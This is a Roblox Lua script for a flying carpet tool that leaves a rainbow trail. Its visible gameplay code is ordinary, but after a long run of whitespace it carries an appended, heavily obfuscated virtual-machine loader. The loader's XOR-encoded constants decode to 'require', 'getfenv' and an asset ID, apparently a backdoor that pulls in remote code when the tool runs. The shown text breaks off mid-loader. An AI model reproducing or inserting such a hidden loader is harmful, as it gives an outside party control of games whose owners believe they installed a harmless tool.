--Made by Luckymaxer

Tool = script.Parent
Handle = Tool:WaitForChild("Handle")

Players = game:GetService("Players")
Debris = game:GetService("Debris")

RemovalMonitor = script:WaitForChild("RemovalMonitor")

CarpetPieces = {
	{MeshId = 223079795, Angle = 160},
	{MeshId = 223079835, Angle = 100},
	{MeshId = 223079888, Angle = 100},
	{MeshId = 223079981, Angle = 160},
}

CarpetSize = Vector3.new(3, 0.5, 6.5)

BaseUrl = "http://www.roblox.com/asset/?id="

Rate = (1 / 10)

BasePart = Instance.new("Part")
BasePart.Material = Enum.Material.Plastic
BasePart.Shape = Enum.PartType.Block
BasePart.TopSurface = Enum.SurfaceType.Smooth
BasePart.BottomSurface = Enum.SurfaceType.Smooth
BasePart.FormFactor = Enum.FormFactor.Custom
BasePart.Size = Vector3.new(0.2, 0.2, 0.2)
BasePart.CanCollide = false
BasePart.Locked = true

ColorPart = BasePart:Clone()
ColorPart.Name = "ColorPart"
ColorPart.Reflectance = 0.25
ColorPart.Transparency = 0.1
ColorPart.Material = Enum.Material.SmoothPlastic
ColorPart.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.BackSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.TopSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.RightSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.Size = Vector3.new(1, 1, 1)
ColorPart.Anchored = true
ColorPart.CanCollide = false
ColorMesh = Instance.new("SpecialMesh")
ColorMesh.Name = "Mesh"
ColorMesh.MeshType = Enum.MeshType.FileMesh
ColorMesh.MeshId = (BaseUrl .. "9856898")
ColorMesh.TextureId = (BaseUrl .. "1361097")
ColorMesh.Scale = (ColorPart.Size * 2) --Default mesh scale is 1/2 the size of a 1x1x1 brick.
ColorMesh.Offset = Vector3.new(0, 0, 0)
ColorMesh.VertexColor = Vector3.new(1, 1, 1)
ColorMesh.Parent = ColorPart
ColorLight = Instance.new("PointLight")
ColorLight.Name = "Light"
ColorLight.Brightness = 50
ColorLight.Range = 8
ColorLight.Shadows = false
ColorLight.Enabled = true
ColorLight.Parent = ColorPart

RainbowColors = {
	Vector3.new(1, 0, 0),
	Vector3.new(1, 0.5, 0),
	Vector3.new(1, 1, 0),
	Vector3.new(0, 1, 0),
	Vector3.new(0, 1, 1),
	Vector3.new(0, 0, 1),
	Vector3.new(0.5, 0, 1)
}

Animations = {
	Sit = {Animation = Tool:WaitForChild("Sit"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil},
}

Grips = {
	Normal = CFrame.new(-1.5, 0, 0, 0, 0, -1, -1, 8.90154915e-005, 0, 8.90154915e-005, 1, 0),
	Flying = CFrame.new(-1.5, 0.5, -0.75, -1, 0, -8.99756625e-009, -8.99756625e-009, 8.10000031e-008, 1, 7.28802977e-016, 0.99999994, -8.10000103e-008)
}

Flying = false
ToolEquipped = false

ServerControl = (Tool:FindFirstChild("ServerControl") or Instance.new("RemoteFunction"))
ServerControl.Name = "ServerControl"
ServerControl.Parent = Tool

ClientControl = (Tool:FindFirstChild("ClientControl") or Instance.new("RemoteFunction"))
ClientControl.Name = "ClientControl"
ClientControl.Parent = Tool

Handle.Transparency = 0
Tool.Grip = Grips.Normal
Tool.Enabled = true

function Clamp(Number, Min, Max)
	return math.max(math.min(Max, Number), Min)
end

function TransformModel(Objects, Center, NewCFrame, Recurse)
	local Objects = ((type(Objects) ~= "table" and {Objects}) or Objects)
	for i, v in pairs(Objects) do
		if v:IsA("BasePart") then
			v.CFrame = NewCFrame:toWorldSpace(Center:toObjectSpace(v.CFrame))
		end
		if Recurse then
			TransformModel(v:GetChildren(), Center, NewCFrame, true)
		end
	end
end

function Weld(Parent, PrimaryPart)
	local Parts = {}
	local Welds = {}
	local function WeldModel(Parent, PrimaryPart)
		for i, v in pairs(Parent:GetChildren()) do
			if v:IsA("BasePart") then
				if v ~= PrimaryPart then
					local Weld = Instance.new("Weld")
					Weld.Name = "Weld"
					Weld.Part0 = PrimaryPart
					Weld.Part1 = v
					Weld.C0 = PrimaryPart.CFrame:inverse()
					Weld.C1 = v.CFrame:inverse()
					Weld.Parent = PrimaryPart
					table.insert(Welds, Weld)
				end
				table.insert(Parts, v)
			end
			WeldModel(v, PrimaryPart)
		end
	end
	WeldModel(Parent, PrimaryPart)
	return Parts, Welds
end

function CleanUp()

	for i, v in pairs(Tool:GetChildren()) do
		if v:IsA("BasePart") and v ~= Handle then
			v:Destroy()
		end
	end
end

function CreateRainbow(Length)
	local RainbowModel = Instance.new("Model")
	RainbowModel.Name = "RainbowPart"
	for i, v in pairs(RainbowColors) do
		local Part = ColorPart:Clone()
		Part.Name = "Part"
		Part.Size = Vector3.new(0.5, 0.5, Length)
		Part.CFrame = Part.CFrame * CFrame.new((Part.Size.X * (i - 1)), 0, 0)
		Part.Mesh.Scale = (Part.Size * 2)
		Part.Mesh.VertexColor = v
		Part.Light.Color = Color3.new(v.X, v.Y, v.Z)
		Part.Parent = RainbowModel
	end
	local RainbowBoundingBox = BasePart:Clone()
	RainbowBoundingBox.Name = "BoundingBox"
	RainbowBoundingBox.Transparency = 1
	RainbowBoundingBox.Size = RainbowModel:GetModelSize()
	RainbowBoundingBox.Anchored = true
	RainbowBoundingBox.CanCollide = false
	RainbowBoundingBox.CFrame = RainbowModel:GetModelCFrame()
	RainbowBoundingBox.Parent = RainbowModel
	return RainbowModel
end

function GetRainbowModel()
	local ModelName = (Player.Name .. "'s Rainbow")
	local Model = game:GetService("Workspace"):FindFirstChild(ModelName)
	if not Model then
		Model = Instance.new("Model")
		Model.Name = ModelName
		local RemovalMonitorClone = RemovalMonitor:Clone()
		RemovalMonitorClone.Disabled = false
		RemovalMonitorClone.Parent = Model
	end
	return Model
end

function CheckIfAlive()
	return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false)
end

function Activated()
	if not Tool.Enabled then
		return
	end
	Tool.Enabled = false
	Flying = not Flying
	if Flying then
		Handle.Transparency = 1
		CleanUp()
		local CarpetParts = {}
		for i, v in pairs(CarpetPieces) do
			local CarpetPart = BasePart:Clone()
			CarpetPart.Size = Vector3.new(CarpetSize.X, CarpetSize.Y, (CarpetSize.Z / #CarpetPieces))
			local Mesh = Instance.new("SpecialMesh")
			Mesh.MeshType = Enum.MeshType.FileMesh
			Mesh.MeshId = (BaseUrl .. v.MeshId)
			Mesh.TextureId = (BaseUrl .. "223080038")
			Mesh.Scale = Vector3.new(1.125, 1.125, 1.125)
			Mesh.VertexColor = Vector3.new(1, 1, 1)
			Mesh.Offset = Vector3.new(0, 0, 0)
			Mesh.Parent = CarpetPart
			local Weld = Instance.new("Weld")
			Weld.Part0 = Handle
			Weld.Part1 = CarpetPart
			local XOffset = (((i == 1 or i == #CarpetPieces) and -0.005) or 0)
			local YOffset = ((-((Handle.Size.Z / 2) - (CarpetPart.Size.Z / 2))) + ((CarpetPart.Size.Z * (i - 1))) + ((i == 2 and 0.245) or (i == 3 and 0.04) or (i == #CarpetPieces and 0.28) or 0))
			Weld.C1 = CFrame.new(0, XOffset, YOffset)
			Weld.Parent = CarpetPart
			table.insert(CarpetParts, {Part = CarpetPart, Weld = Weld, InitialCFrame = Weld.C0, Angle = v.Angle})
			CarpetPart.Parent = Tool
		end	
		
		spawn(function()
			InvokeClient("PlayAnimation", Animations.Sit)
			Tool.Grip = Grips.Flying
		end)

		Torso.Anchored = true
		delay(.2,function()
			Torso.Anchored = false
			Torso.Velocity = Vector3.new(0,0,0)
			Torso.RotVelocity = Vector3.new(0,0,0)
		end)
		
		FlightSpin = Instance.new("BodyGyro")
		FlightSpin.Name = "FlightSpin"
		FlightSpin.P = 10000
		FlightSpin.maxTorque = Vector3.new(FlightSpin.P, FlightSpin.P, FlightSpin.P)*100
		FlightSpin.cframe = Torso.CFrame
		
		FlightPower = Instance.new("BodyVelocity")
		FlightPower.Name = "FlightPower"
		FlightPower.velocity = Vector3.new(0, 0, 0)
		FlightPower.maxForce = Vector3.new(1,1,1)*1000000
		FlightPower.P = 1000
		
		FlightHold = Instance.new("BodyPosition")
		FlightHold.Name = "FlightHold"
		FlightHold.P = 100000
		FlightHold.maxForce = Vector3.new(0, 0, 0)
		FlightHold.position = Torso.Position
		
		FlightSpin.Parent = Torso
		FlightPower.Parent = Torso
		FlightHold.Parent = Torso
		
		spawn(function()
			local LastPlace = nil
			while Flying and ToolEquipped and CheckIfAlive() do
				
				local CurrentPlace = Handle.Position
				local Velocity = Torso.Velocity
				Velocity = Vector3.new(Velocity.X, 0, Velocity.Z).magnitude
				
				if LastPlace and Velocity > 10 then
					
					spawn(function()
						local Model = GetRainbowModel()
						local Distance = (LastPlace - CurrentPlace).magnitude
						local Length = Distance + 3.5
						
						local RainbowModel = CreateRainbow(Length)
						
						--Thanks so much to ArceusInator for helping solve this part!
						local RainbowCFrame = CFrame.new((LastPlace + (CurrentPlace - LastPlace).unit * (Distance / 2)), CurrentPlace)
						
						TransformModel(RainbowModel, RainbowModel:GetModelCFrame(), RainbowCFrame, true)
						Debris:AddItem(RainbowModel, 1)
						RainbowModel.Parent = Model
						
						if Model and not Model.Parent then
							Model.Parent = game:GetService("Workspace")
						end
						
						LastPlace = CurrentPlace
					end)
				elseif not LastPlace then
					LastPlace = CurrentPlace
				end
				
				wait(Rate)
			end
		end)
	elseif not Flying then
		Torso.Velocity = Vector3.new(0, 0, 0)
		Torso.RotVelocity = Vector3.new(0, 0, 0)
		
		for i, v in pairs({FlightSpin, FlightPower, FlightHold}) do
			if v and v.Parent then
				v:Destroy()
			end
		end
		spawn(function()
			Tool.Grip = Grips.Normal
			InvokeClient("StopAnimation", Animations.Sit)
		end)
	end
	
	wait(2)
	
	Tool.Enabled = true
end

function Equipped(Mouse)
	Character = Tool.Parent
	Humanoid = Character:FindFirstChild("Humanoid")
	Torso = Character:FindFirstChild("HumanoidRootPart")
	Player = Players:GetPlayerFromCharacter(Character)
	if not CheckIfAlive() then
		return
	end
	if Humanoid then
		if Humanoid.RigType == Enum.HumanoidRigType.R15 then
			Animations = {
				Sit = {Animation = Tool:WaitForChild("SitR15"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil},
			}
		else
			Animations = {
				Sit = {Animation = Tool:WaitForChild("Sit"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil},
			}
		end
	end
	Tool.Grip = Grips.Normal
	ToolEquipped = true
end

function Unequipped()
	Flying = false
	for i, v in pairs({FlightSpin, FlightPower, FlightHold}) do
		if v and v.Parent then
			v:Destroy()
		end
	end
	CleanUp()
	Handle.Transparency = 0
	ToolEquipped = false
end

function OnServerInvoke(player, mode, value)
	if player ~= Player or not ToolEquipped or not value or not CheckIfAlive() then
		return
	end
end

function InvokeClient(Mode, Value)
	local ClientReturn = nil
	pcall(function()
		ClientReturn = ClientControl:InvokeClient(Player, Mode, Value)
	end)
	return ClientReturn
end

CleanUp()

ServerControl.OnServerInvoke = OnServerInvoke

Tool.Activated:connect(Activated)
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																						return(function(ililiilllliliillli_IIlIllIlIlIIIIIlll,ililiilllliliillli_llIllIlIlIIllIlIll,ililiilllliliillli_llIllIlIlIIllIlIll)local ililiilllliliillli_IIIIlllllIIllIll=string.char;local ililiilllliliillli_lIIIlIIIllllllIllIIIII=string.sub;local ililiilllliliillli_IlIIllIlIIIlllIII=table.concat;local ililiilllliliillli_IIIlIIIllIllIllIIIlII=math.ldexp;local ililiilllliliillli_lIIllIIlIlIlllll=getfenv or function()return _ENV end;local ililiilllliliillli_IIIIIllIIllIllIllllIlll=select;local ililiilllliliillli_IIlIlIIIIlIIIIIllIII=unpack or table.unpack;local ililiilllliliillli_llIllIlIlIIllIlIll=tonumber;local ililiilllliliillli_IlIIIIIlIIIII='\14\11\11\11\8\12\11\11\11\108\110\127\109\110\101\125\8\12\11\11\11\121\110\122\126\98\121\110\8\3\11\11\11\127\100\101\126\102\105\110\121\8\3\11\11\11\127\100\120\127\121\98\101\108\8\1\11\11\11\63\61\50\61\61\59\62\56\58\51\11\11\11\11\0\11\11\11\25\2\11\11\11\10\11\11\11\11\11\11\11\11\10\11\9\11\43\11\11\11\11\11\11\9\11\25\11\11\10\11\8\11\11\11\25\11\11\9\11\15\11\11\11\25\11\11\8\11\14\11\11\11\11\11\11\9\11\8\11\11\11\11\11\11\10\11\11\11\11\11\11\11\11\11\11\11\11\9\11\11\11\11\11\11\10\11\10\11\11\12\11\11\11\10\11\11\11\11';local ililiilllliliillli_llIllIlIlIIllIlIll=(bit or bit32);local ililiilllliliillli_llIlllIIll=ililiilllliliillli_llIllIlIlIIllIlIll and ililiilllliliillli_llIllIlIlIIllIlIll.bxor or function(ililiilllliliillli_llIllIlIlIIllIlIll,ililiilllliliillli_lllIIllllIllIllIllI)local ililiilllliliillli_lllllIlIIIlllIIIllllll,ililiilllliliillli_llIlllIIll,ililiilllliliillli_llIlIIll=1,0,10 while ililiilllliliillli_llIllIlIlIIllIlIll>0 and ililiilllliliillli_lllIIllllIllIllIllI>0 do local ililiilllliliillli_llIlIIll,ililiilllliliillli_IIlIllIlIlIIIIIlll=ililiilllliliillli_llIllIlIlIIllIlIll%2,ililiilllliliillli_lllIIllllIllIllIllI%2 if ililiilllliliillli_llIlIIll~=ililiilllliliillli_IIlIllIlIlIIIIIlll then ililiilllliliillli_llIlllIIll=ililiilllliliillli_llIlllIIll+ililiilllliliillli_lllllIlIIIlllIIIllllll end ililiilllliliillli_llIllIlIlIIllIlIll,ililiilllliliillli_lllIIllllIllIllIllI,ililiilllliliillli_lllllIlIIIlllIIIllllll=(ililiilllliliillli_llIllIlIlIIllIlIll-ililiilllliliillli_llIlIIll)/2,(ililiilllliliillli_lllIIllllIllIllIllI-ililiilllliliillli_IIlIllIlIlIIIIIlll)/2,ililiilllliliillli_lllllIlIIIlllIIIllllll*2 end if ililiilllliliillli_llIllIlIlIIllIlIll<ililiilllliliillli_lllIIllllIllIllIllI then ililiilllliliillli_llIllIlIlIIllIlIll=ililiilllliliillli_lllIIllllIllIllIllI end while ililiilllliliillli_llIllIlIlIIllIlIll>0 do local ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_llIllIlIlIIllIlIll%2 if ililiilllliliillli_lllIIllllIllIllIllI>0 then ililiilllliliillli_llIlllIIll=ililiilllliliillli_llIlllIIll+ililiilllliliillli_lllllIlIIIlllIIIllllll end ililiilllliliillli_llIllIlIlIIllIlIll,ililiilllliliillli_lllllIlIIIlllIIIllllll=(ililiilllliliillli_llIllIlIlIIllIlIll-ililiilllliliillli_lllIIllllIllIllIllI)/2,ililiilllliliillli_lllllIlIIIlllIIIllllll*2 end return ililiilllliliillli_llIlllIIll end local function ililiilllliliillli_lllIIllllIllIllIllI(ililiilllliliillli_lllllIlIIIlllIIIllllll,ililiilllliliillli_llIllIlIlIIllIlIll,ililiilllliliillli_lllIIllllIllIllIllI)if ililiilllliliillli_lllIIllllIllIllIllI then local ililiilllliliillli_llIllIlIlIIllIlIll=(ililiilllliliillli_lllllIlIIIlllIIIllllll/2^(ililiilllliliillli_llIllIlIlIIllIlIll-1))%2^((ililiilllliliillli_lllIIllllIllIllIllI-1)-(ililiilllliliillli_llIllIlIlIIllIlIll-1)+1);return ililiilllliliillli_llIllIlIlIIllIlIll-ililiilllliliillli_llIllIlIlIIllIlIll%1;else local ililiilllliliillli_llIllIlIlIIllIlIll=2^(ililiilllliliillli_llIllIlIlIIllIlIll-1);return(ililiilllliliillli_lllllIlIIIlllIIIllllll%(ililiilllliliillli_llIllIlIlIIllIlIll+ililiilllliliillli_llIllIlIlIIllIlIll)>=ililiilllliliillli_llIllIlIlIIllIlIll)and 1 or 0;end;end;local ililiilllliliillli_llIllIlIlIIllIlIll=1;local function ililiilllliliillli_lllllIlIIIlllIIIllllll()local ililiilllliliillli_llIlIIll,ililiilllliliillli_IIlIllIlIlIIIIIlll,ililiilllliliillli_lllIIllllIllIllIllI,ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_IIlIllIlIlIIIIIlll(ililiilllliliillli_IlIIIIIlIIIII,ililiilllliliillli_llIllIlIlIIllIlIll,ililiilllliliillli_llIllIlIlIIllIlIll+3);ililiilllliliillli_llIlIIll=ililiilllliliillli_llIlllIIll(ililiilllliliillli_llIlIIll,11)ililiilllliliillli_IIlIllIlIlIIIIIlll=ililiilllliliillli_llIlllIIll(ililiilllliliillli_IIlIllIlIlIIIIIlll,11)ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_llIlllIIll(ililiilllliliillli_lllIIllllIllIllIllI,11)ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_llIlllIIll(ililiilllliliillli_lllllIlIIIlllIIIllllll,11)ililiilllliliillli_llIllIlIlIIllIlIll=ililiilllliliillli_llIllIlIlIIllIlIll+4;return(ililiilllliliillli_lllllIlIIIlllIIIllllll*16777216)+(ililiilllliliillli_lllIIllllIllIllIllI*65536)+(ililiilllliliillli_IIlIllIlIlIIIIIlll*256)+ililiilllliliillli_llIlIIll;end;local function ililiilllliliillli_IIIIIIlIIlllIlllll()local ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_llIlllIIll(ililiilllliliillli_IIlIllIlIlIIIIIlll(ililiilllliliillli_IlIIIIIlIIIII,ililiilllliliillli_llIllIlIlIIllIlIll,ililiilllliliillli_llIllIlIlIIllIlIll),11);ililiilllliliillli_llIllIlIlIIllIlIll=ililiilllliliillli_llIllIlIlIIllIlIll+1;return ililiilllliliillli_lllllIlIIIlllIIIllllll;end;local function ililiilllliliillli_llIlIIll()local ililiilllliliillli_lllIIllllIllIllIllI,ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_IIlIllIlIlIIIIIlll(ililiilllliliillli_IlIIIIIlIIIII,ililiilllliliillli_llIllIlIlIIllIlIll,ililiilllliliillli_llIllIlIlIIllIlIll+2);ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_llIlllIIll(ililiilllliliillli_lllIIllllIllIllIllI,11)ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_llIlllIIll(ililiilllliliillli_lllllIlIIIlllIIIllllll,11)ililiilllliliillli_llIllIlIlIIllIlIll=ililiilllliliillli_llIllIlIlIIllIlIll+2;return(ililiilllliliillli_lllllIlIIIlllIIIllllll*256)+ililiilllliliillli_lllIIllllIllIllIllI;end;local function ililiilllliliillli_lIlllllIIIllIlIIIIllIIllI()local ililiilllliliillli_llIllIlIlIIllIlIll=ililiilllliliillli_lllllIlIIIlllIIIllllll();local ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_lllllIlIIIlllIIIllllll();local ililiilllliliillli_llIlIIll=1;local ililiilllliliillli_llIlllIIll=(ililiilllliliillli_lllIIllllIllIllIllI(ililiilllliliillli_lllllIlIIIlllIIIllllll,1,20)*(2^32))+ililiilllliliillli_llIllIlIlIIllIlIll;local ililiilllliliillli_llIllIlIlIIllIlIll=ililiilllliliillli_lllIIllllIllIllIllI(ililiilllliliillli_lllllIlIIIlllIIIllllll,21,31);local ililiilllliliillli_lllllIlIIIlllIIIllllll=((-1)^ililiilllliliillli_lllIIllllIllIllIllI(ililiilllliliillli_lllllIlIIIlllIIIllllll,32));if(ililiilllliliillli_llIllIlIlIIllIlIll==0)then if(ililiilllliliillli_llIlllIIll==0)then return ililiilllliliillli_lllllIlIIIlllIIIllllll*0;else ililiilllliliillli_llIllIlIlIIllIlIll=1;ililiilllliliillli_llIlIIll=0;end;elseif(ililiilllliliillli_llIllIlIlIIllIlIll==2047)then return(ililiilllliliillli_llIlllIIll==0)and(ililiilllliliillli_lllllIlIIIlllIIIllllll*(1/0))or(ililiilllliliillli_lllllIlIIIlllIIIllllll*(0/0));end;return ililiilllliliillli_IIIlIIIllIllIllIIIlII(ililiilllliliillli_lllllIlIIIlllIIIllllll,ililiilllliliillli_llIllIlIlIIllIlIll-1023)*(ililiilllliliillli_llIlIIll+(ililiilllliliillli_llIlllIIll/(2^52)));end;local ililiilllliliillli_IIlIlIIlIIIlIIIl=ililiilllliliillli_lllllIlIIIlllIIIllllll;local function ililiilllliliillli_IIIlIIIllIllIllIIIlII(ililiilllliliillli_lllllIlIIIlllIIIllllll)local ililiilllliliillli_lllIIllllIllIllIllI;if(not ililiilllliliillli_lllllIlIIIlllIIIllllll)then ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_IIlIlIIlIIIlIIIl();if(ililiilllliliillli_lllllIlIIIlllIIIllllll==0)then return'';end;end;ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_lIIIlIIIllllllIllIIIII(ililiilllliliillli_IlIIIIIlIIIII,ililiilllliliillli_llIllIlIlIIllIlIll,ililiilllliliillli_llIllIlIlIIllIlIll+ililiilllliliillli_lllllIlIIIlllIIIllllll-1);ililiilllliliillli_llIllIlIlIIllIlIll=ililiilllliliillli_llIllIlIlIIllIlIll+ililiilllliliillli_lllllIlIIIlllIIIllllll;local ililiilllliliillli_lllllIlIIIlllIIIllllll={}for ililiilllliliillli_llIllIlIlIIllIlIll=1,#ililiilllliliillli_lllIIllllIllIllIllI do ililiilllliliillli_lllllIlIIIlllIIIllllll[ililiilllliliillli_llIllIlIlIIllIlIll]=ililiilllliliillli_IIIIlllllIIllIll(ililiilllliliillli_llIlllIIll(ililiilllliliillli_IIlIllIlIlIIIIIlll(ililiilllliliillli_lIIIlIIIllllllIllIIIII(ililiilllliliillli_lllIIllllIllIllIllI,ililiilllliliillli_llIllIlIlIIllIlIll,ililiilllliliillli_llIllIlIlIIllIlIll)),11))end return ililiilllliliillli_IlIIllIlIIIlllIII(ililiilllliliillli_lllllIlIIIlllIIIllllll);end;local ililiilllliliillli_llIllIlIlIIllIlIll=ililiilllliliillli_lllllIlIIIlllIIIllllll;local function ililiilllliliillli_IlIIllIlIIIlllIII(...)return{...},ililiilllliliillli_IIIIIllIIllIllIllllIlll('#',...)end local function ililiilllliliillli_IlIIIIIlIIIII()local ililiilllliliillli_IIlIlIIIIlIIIIIllIII={};local ililiilllliliillli_IIlIllIlIlIIIIIlll={};local ililiilllliliillli_llIllIlIlIIllIlIll={};local ililiilllliliillli_lIIIlIIIllllllIllIIIII={[#{{919;517;422;920};"1 + 1 = 111";}]=ililiilllliliillli_IIlIllIlIlIIIIIlll,[#{"1 + 1 = 111";{573;717;344;721};"1 + 1 = 111";}]=nil,[#{"1 + 1 = 111";{900;831;989;403};"1 + 1 = 111";{726;527;623;875};}]=ililiilllliliillli_llIllIlIlIIllIlIll,[#{{888;363;893;288};}]=ililiilllliliillli_IIlIlIIIIlIIIIIllIII,};local ililiilllliliillli_llIllIlIlIIllIlIll=ililiilllliliillli_lllllIlIIIlllIIIllllll()local ililiilllliliillli_llIlllIIll={}for ililiilllliliillli_lllIIllllIllIllIllI=1,ililiilllliliillli_llIllIlIlIIllIlIll do local ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_IIIIIIlIIlllIlllll();local ililiilllliliillli_llIllIlIlIIllIlIll;if(ililiilllliliillli_lllllIlIIIlllIIIllllll==2)then ililiilllliliillli_llIllIlIlIIllIlIll=(ililiilllliliillli_IIIIIIlIIlllIlllll()~=0);elseif(ililiilllliliillli_lllllIlIIIlllIIIllllll==0)then ililiilllliliillli_llIllIlIlIIllIlIll=ililiilllliliillli_lIlllllIIIllIlIIIIllIIllI();elseif(ililiilllliliillli_lllllIlIIIlllIIIllllll==3)then ililiilllliliillli_llIllIlIlIIllIlIll=ililiilllliliillli_IIIlIIIllIllIllIIIlII();end;ililiilllliliillli_llIlllIIll[ililiilllliliillli_lllIIllllIllIllIllI]=ililiilllliliillli_llIllIlIlIIllIlIll;end;for ililiilllliliillli_llIllIlIlIIllIlIll=1,ililiilllliliillli_lllllIlIIIlllIIIllllll()do ililiilllliliillli_IIlIllIlIlIIIIIlll[ililiilllliliillli_llIllIlIlIIllIlIll-1]=ililiilllliliillli_IlIIIIIlIIIII();end;for ililiilllliliillli_IlIIIIIlIIIII=1,ililiilllliliillli_lllllIlIIIlllIIIllllll()do local ililiilllliliillli_llIllIlIlIIllIlIll=ililiilllliliillli_IIIIIIlIIlllIlllll();if(ililiilllliliillli_lllIIllllIllIllIllI(ililiilllliliillli_llIllIlIlIIllIlIll,1,1)==0)then local ililiilllliliillli_IIlIllIlIlIIIIIlll=ililiilllliliillli_lllIIllllIllIllIllI(ililiilllliliillli_llIllIlIlIIllIlIll,2,3);local ililiilllliliillli_IIIIIIlIIlllIlllll=ililiilllliliillli_lllIIllllIllIllIllI(ililiilllliliillli_llIllIlIlIIllIlIll,4,6);local ililiilllliliillli_llIllIlIlIIllIlIll={ililiilllliliillli_llIlIIll(),ililiilllliliillli_llIlIIll(),nil,nil};if(ililiilllliliillli_IIlIllIlIlIIIIIlll==0)then ililiilllliliillli_llIllIlIlIIllIlIll[#{"1 + 1 = 111";"1 + 1 = 111";"1 + 1 = 111";}]=ililiilllliliillli_llIlIIll();ililiilllliliillli_llIllIlIlIIllIlIll[#("WVVD")]=ililiilllliliillli_llIlIIll();elseif(ililiilllliliillli_IIlIllIlIlIIIIIlll==1)then ililiilllliliillli_llIllIlIlIIllIlIll[#("SvT")]=ililiilllliliillli_lllllIlIIIlllIIIllllll();elseif(ililiilllliliillli_IIlIllIlIlIIIIIlll==2)then ililiilllliliillli_llIllIlIlIIllIlIll[#("SiT")]=ililiilllliliillli_lllllIlIIIlllIIIllllll()-(2^16)elseif(ililiilllliliillli_IIlIllIlIlIIIIIlll==3)then ililiilllliliillli_llIllIlIlIIllIlIll[#("IT4")]=ililiilllliliillli_lllllIlIIIlllIIIllllll()-(2^16)ililiilllliliillli_llIllIlIlIIllIlIll[#("gUSU")]=ililiilllliliillli_llIlIIll();end;if(ililiilllliliillli_lllIIllllIllIllIllI(ililiilllliliillli_IIIIIIlIIlllIlllll,1,1)==1)then ililiilllliliillli_llIllIlIlIIllIlIll[#("XH")]=ililiilllliliillli_llIlllIIll[ililiilllliliillli_llIllIlIlIIllIlIll[#("r8")]]end if(ililiilllliliillli_lllIIllllIllIllIllI(ililiilllliliillli_IIIIIIlIIlllIlllll,2,2)==1)then ililiilllliliillli_llIllIlIlIIllIlIll[#("W7Z")]=ililiilllliliillli_llIlllIIll[ililiilllliliillli_llIllIlIlIIllIlIll[#("YFq")]]end if(ililiilllliliillli_lllIIllllIllIllIllI(ililiilllliliillli_IIIIIIlIIlllIlllll,3,3)==1)then ililiilllliliillli_llIllIlIlIIllIlIll[#{"1 + 1 = 111";{474;803;189;222};"1 + 1 = 111";"1 + 1 = 111";}]=ililiilllliliillli_llIlllIIll[ililiilllliliillli_llIllIlIlIIllIlIll[#("4kGL")]]end ililiilllliliillli_IIlIlIIIIlIIIIIllIII[ililiilllliliillli_IlIIIIIlIIIII]=ililiilllliliillli_llIllIlIlIIllIlIll;end end;ililiilllliliillli_lIIIlIIIllllllIllIIIII[3]=ililiilllliliillli_IIIIIIlIIlllIlllll();return ililiilllliliillli_lIIIlIIIllllllIllIIIII;end;local function ililiilllliliillli_IIIlIIIllIllIllIIIlII(ililiilllliliillli_llIllIlIlIIllIlIll,ililiilllliliillli_lllllIlIIIlllIIIllllll,ililiilllliliillli_lIIIlIIIllllllIllIIIII)ililiilllliliillli_llIllIlIlIIllIlIll=(ililiilllliliillli_llIllIlIlIIllIlIll==true and ililiilllliliillli_IlIIIIIlIIIII())or ililiilllliliillli_llIllIlIlIIllIlIll;return(function(...)local ililiilllliliillli_IIlIllIlIlIIIIIlll=ililiilllliliillli_llIllIlIlIIllIlIll[1];local ililiilllliliillli_llIlllIIll=ililiilllliliillli_llIllIlIlIIllIlIll[3];local ililiilllliliillli_llIllIlIlIIllIlIll=ililiilllliliillli_llIllIlIlIIllIlIll[2];local ililiilllliliillli_IlIIIIIlIIIII=ililiilllliliillli_IlIIllIlIIIlllIII local ililiilllliliillli_lllIIllllIllIllIllI=1;local ililiilllliliillli_llIlIIll=-1;local ililiilllliliillli_lIlllllIIIllIlIIIIllIIllI={};local ililiilllliliillli_IIIIIIlIIlllIlllll={...};local ililiilllliliillli_IIIIIllIIllIllIllllIlll=ililiilllliliillli_IIIIIllIIllIllIllllIlll('#',...)-1;local ililiilllliliillli_llIllIlIlIIllIlIll={};local ililiilllliliillli_llIllIlIlIIllIlIll={};for ililiilllliliillli_lllllIlIIIlllIIIllllll=0,ililiilllliliillli_IIIIIllIIllIllIllllIlll do if(ililiilllliliillli_lllllIlIIIlllIIIllllll>=ililiilllliliillli_llIlllIIll)then ililiilllliliillli_lIlllllIIIllIlIIIIllIIllI[ililiilllliliillli_lllllIlIIIlllIIIllllll-ililiilllliliillli_llIlllIIll]=ililiilllliliillli_IIIIIIlIIlllIlllll[ililiilllliliillli_lllllIlIIIlllIIIllllll+1];else ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll]=ililiilllliliillli_IIIIIIlIIlllIlllll[ililiilllliliillli_lllllIlIIIlllIIIllllll+#{"1 + 1 = 111";}];end;end;local ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_IIIIIllIIllIllIllllIlll-ililiilllliliillli_llIlllIIll+1 local ililiilllliliillli_lllllIlIIIlllIIIllllll;local ililiilllliliillli_llIlllIIll;while true do 